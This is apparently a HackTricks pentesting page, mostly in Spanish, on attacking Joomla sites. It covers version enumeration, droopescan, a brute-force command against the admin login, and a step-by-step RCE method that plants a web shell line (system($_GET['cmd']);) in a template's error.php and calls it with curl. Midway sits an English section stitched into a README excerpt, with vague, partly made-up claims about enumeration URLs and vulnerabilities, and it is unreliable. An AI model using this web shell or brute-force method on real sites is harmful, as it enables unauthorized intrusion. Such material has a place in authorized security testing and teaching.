7.5 KiB
Joomla
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén la oficial PEASS & HackTricks swag
- Únete al 💬 grupo de Discord o al grupo de telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PRs al repositorio de hacktricks y al repositorio de hacktricks-cloud.
Estadísticas de Joomla
Joomla recopila algunas estadísticas anónimas de uso, como la descomposición de las versiones de Joomla, PHP y la base de datos y los sistemas operativos del servidor en uso en las instalaciones de Joomla. Estos datos se pueden consultar a través de su API pública.
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
{
"data": {
"cms_version": {
"3.0": 0,
"3.1": 0,
"3.10": 6.33,
"3.2": 0.01,
"3.3": 0.02,
"3.4": 0.05,
"3.5": 12.24,
"3.6": 22.85,
"3.7": 7.99,
"3.8": 17.72,
"3.9": 27.24,
"4.0": 3.21,
"4.1": 1.53,
"4.2": 0.82,
"4.3": 0,
"5.0": 0
},
"total": 2951032
}
}
Enumeración
Descubrimiento/Reconocimiento
- Revisar la meta
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
- robots.txt
El archivo robots.txt es un archivo de texto que se encuentra en la raíz del sitio web y que indica a los robots de los motores de búsqueda qué páginas o secciones del sitio web no deben ser indexadas. Es importante revisar este archivo en busca de información sensible o de rutas que puedan ser utilizadas para acceder a secciones no autorizadas del sitio web.
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
- README.txt
Joomla
Enumeration
Version
To know the version of Joomla you can check the generator meta tag in the HTML code of the page or check the version.php
file in the root directory.
Users
To enumerate users you can use the com_users
component. You can access it by adding /index.php?option=com_users&view=users
to the URL.
Components
To enumerate components you can use the discover
feature. You can access it by adding /index.php?option=com_config&view=component&filter[component]=<component_name>
to the URL.
Modules
To enumerate modules you can use the discover
feature. You can access it by adding /index.php?option=com_config&view=component&filter[component]=<module_name>
to the URL.
Templates
To enumerate templates you can use the discover
feature. You can access it by adding /index.php?option=com_config&view=component&filter[component]=<template_name>
to the URL.
Exploitation
SQL Injection
Joomla is vulnerable to SQL injection in several components. You can use tools like SQLMap to automate the process.
File Upload
Joomla is vulnerable to file upload attacks in several components. You can use tools like Metasploit or Burp Suite to exploit this vulnerability.
Remote Code Execution
Joomla is vulnerable to remote code execution in several components. You can use tools like Metasploit or Burp Suite to exploit this vulnerability.
Password Hashes
Joomla stores password hashes in the jos_users
table. You can use tools like John the Ripper or Hashcat to crack the hashes.
Configuration File
Joomla stores sensitive information like database credentials in the configuration.php
file. You can use tools like Metasploit or Burp Suite to read this file.
Brute Force
Joomla is vulnerable to brute force attacks in the login page. You can use tools like Hydra or Burp Suite to automate the process.
Local File Inclusion
Joomla is vulnerable to local file inclusion in several components. You can use tools like Burp Suite to exploit this vulnerability.
Cross-Site Scripting
Joomla is vulnerable to cross-site scripting in several components. You can use tools like Burp Suite to exploit this vulnerability.
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
* Joomla! Official site: https://www.joomla.org
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
Versión
- En /administrator/manifests/files/joomla.xml **** puedes ver la versión.
- En /language/en-GB/en-GB.xml puedes obtener la versión de Joomla.
- En plugins/system/cache/cache.xml puedes ver una versión aproximada.
droopescan scan joomla --url http://joomla-site.local/
En el apartado 80,443 - Metodología de Pentesting Web se encuentra una sección sobre escáneres de CMS que pueden escanear Joomla.
Fuerza Bruta
Puedes utilizar este script para intentar realizar un ataque de fuerza bruta en el login.
sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
admin:admin
RCE
Si lograste obtener las credenciales de administrador, puedes hacer RCE dentro de ella agregando un fragmento de código PHP para obtener RCE. Podemos hacer esto personalizando una plantilla.
- Haz clic en
Templates
en la parte inferior izquierda debajo deConfiguration
para abrir el menú de plantillas. - Haz clic en el nombre de una plantilla. Vamos a elegir
protostar
bajo el encabezado de columnaTemplate
. Esto nos llevará a la páginaTemplates: Customise
. - Finalmente, puedes hacer clic en una página para abrir la fuente de la página. Vamos a elegir la página
error.php
. Agregaremos un comando PHP de una línea para obtener la ejecución de código de la siguiente manera:system($_GET['cmd']);
- Guardar y cerrar
curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id